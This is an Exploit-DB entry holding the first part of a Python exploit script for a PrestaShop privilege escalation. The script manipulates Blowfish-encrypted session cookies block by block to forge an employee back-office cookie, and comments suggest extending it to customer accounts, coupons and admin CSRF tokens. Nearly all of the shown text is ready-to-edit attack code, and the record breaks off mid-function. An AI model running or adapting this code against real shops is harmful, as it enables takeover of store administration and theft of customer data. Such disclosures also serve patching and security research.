Exploit-DB #45047
Description: PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation
Type: webapps
Platform: php
Date: 2018-07-16
Author: Charles Fol

Exploit:
<--- exploit.py --->
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 Privilege Escalation
# Charles Fol
# 2018-07-10
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
#
# The condition for this exploit to work is for an employee to have the same
# password as a customer. The exploit will yield a valid employee cookie for
# back office access.
#
# With a bit of tweaking, one can modify the exploit to access any customer
# account, get access to statistics, coupons, etc. or get an admin CSRF token.
#
# The attack may fail for a variety of reasons, including me messing up the
# padding somewhere. You might need to run the exploit several times.
# 
# POSSIBLE IMPROVEMENTS
# - Improve the employee detection method
# - Implement the RCE step
#

# gcc -o crc_xor crc_xor.c
# vi exploit.py
# ./exploit.py

import requests
import urllib.parse
import binascii
import string
import itertools
import sys
import os
import re


# EDIT THIS

BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop'
ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb'

CUSTOMER_EMAIL = 'user@user.io'
CUSTOMER_[CREDENTIAL_REDACTED]'


# Helpers

def http_session():
    """Every HTTP session will be spawned from this function. You can add a
    proxy or custom rules.
    """
    s = requests.Session()
    #s.proxies = {'http': 'localhost:8080'}
    return s

def bl(string):
    """¤ is 2 bytes long, which forces us to encode strings before using len().
    """
    return len(string.encode())

def cs(blocks, offset=0):
    """Computes the full size of the cookie and returns it as a last 6-digit
    block.
    """
    if offset > 0:
        offset -= SIZE_BLOCK
    return [
        '%06d' % (len(blocks) * SIZE_BLOCK + offset)
    ]

def xor(a, b):
    """XORs two strings and returns the result as bytes.
    """
    return bytes(x ^ y for x, y in zip(a.encode(), b.encode()))

def pb(n, z=False):
    """Returns the padding required to align n with SIZE_BLOCK, and its position
    in blocks. The z flag indicates if padding can be zero.
    """
    padding = (- n) % SIZE_BLOCK
    if z and padding == 0:
        padding = SIZE_BLOCK
    block = (n + padding) // SIZE_BLOCK
    return padding, block


crc32 = binascii.crc32

SIZE_BLOCK = 8
BASE_BYTE = '`'
SIZE_LASTNAME_TO_FIRSTNAME = bl(
    '¤customer_firstname|'
)
SIZE_FIRSTNAME_TO_PASSWD = bl(
    '¤logged|1¤is_guest|¤passwd|'
)
SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl(
    '86df199881eaf8e9bb158c4f6b71ca0a¤email|'
)
# Variable: it is properly set in PrestaShop.find_alignment
SIZE_EMAIL_TO_END = bl(
    '¤id_cart|12345¤id_guest|6¤'
)

ZERO_BLOCK = b'\x00' * SIZE_BLOCK

FIRSTNAME = BASE_BYTE * 32
CHARSET_LASTNAME = string.ascii_letters
EMAIL_DOMAIN = '@test.fr'

MAX_ID_CUSTOMER = 100
MAX_ID_EMPLOYEE = 100


# Exploit classes


class Exploitation:
    """Exploitation class. Handles the flow of the attack.
    The main process is the following:

    1. X = read(cart_id)
    2. Change password to recover_cart_X
    3. read(password)
        -> we have a token to recover the cart, and therefore the customer
           password
    4. write(id_employee, Z)
    5. write(id_customer, Y)
        -> customer Y associated with cart_id X
    6. Do the "Recover cart" procedure with the token
    7. Access backoffice. If employee's Z password is the same as customer
       Y, then we obtain backoffice access
    """

    def __init__(self, session, email, password):
        self.s = http_session()
        self.ps = PrestaShop(session, email, password)
        Cookie.ps = self.ps

    def prelude(self):
        self.ps.login()
        self.ps.find_alignment()
        self.ps.get_encrypted_numbers()
        self.ps.build_cookies()

    def run(self):
        """Runs the exploit.
        """
        self.prelude()

        id_cart = self.read_id_cart()
        token = self.read_cart_token(id_cart)

        self.get_employee_cookie_name()
        self.get_write_blocks()
        self.get_nb_employees()

        for target_customer in range(1, MAX_ID_CUSTOMER):
            if not self.associate_id_customer(target_customer):
                break

            for target_employee in range(1, self.nb_employees+1):
                print("Trying customer[%d] employee[%d]" % (
                    target_customer, target_employee
                ))
                cookie = self.write_id_employee(target_employee)
                cookie = self.recover_cart(id_cart, token, cookie)

                if cookie:
                    print('Success !!!')
                    print('Backoffice cookie:')
                    print('%s=%s' % (self.employee_cookie_name, cookie))
                    return
        
        print('No employee has the same password as a customer')

    def get_employee_cookie_name(self):
        """Obtains the name of the cookie for the backoffice.
        """
        self.s.get(ADMIN_URL + '/index.php')
        
        for c, v in self.s.cookies.items():
            if c.startswith('PrestaShop-'):
                self.employee_cookie_name = c
                break
        else:
            raise ValueError('Unable to find customer cookie')

        print('Employee cookie name: %s' % self.employee_cookie_name)

    def get_nb_employees(self):
        """Obtains the number of employees by requesting pdf.php with a spoofed
        id_employee cookie and iterating.

        It breaks after the first failure, so there might be cases where it
        fails to detect every employee.
        """
        ecn = self.employee_cookie_name
        
        for i in range(1, MAX_ID_EMPLOYEE):
            cookie = self.write_id_employee(i)
            self.s.cookies.clear()
            self.s.cookies[ecn] = str(cookie)
            r = self.s.get(ADMIN_URL + '/pdf